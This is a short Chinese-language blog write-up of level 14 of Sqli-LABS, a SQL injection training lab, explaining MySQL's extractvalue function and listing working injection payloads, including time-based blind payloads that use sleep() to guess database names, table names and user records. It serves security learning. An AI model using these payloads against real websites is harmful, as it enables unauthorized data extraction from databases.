Sqli-LABS通关笔录-14
这一节让我学习到了
1.extractvalue函数(该函数用于对xml文件进行查询和修改,于此相关的还有一个叫“updatexml”函数)
语法:extractvalue(XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
作用:从目标XML中返回包含所查询值的字符串
关于该函数的介绍使用:http://www.blogjava.net/chenpengyi/archive/2006/07/11/57578.html
2.
Payload:
admin" and 1=1#
这题方法也是要用盲注。
------------------------------------------------------------------------------------------------
延时Payload:
猜数据库:admin" and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
猜表:admin" AND if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>1,sleep(20),1)#
猜列明:admin" AND if(ascii(substr((select username from security.users order by id limit 0,1),2,1))=117,sleep(10),1)#
------------------------------------------------------------------------------------------------
THE END
By:珍惜少年时博客:http://www.cnblogs.com/xishaonian/
*-------------------------------------------*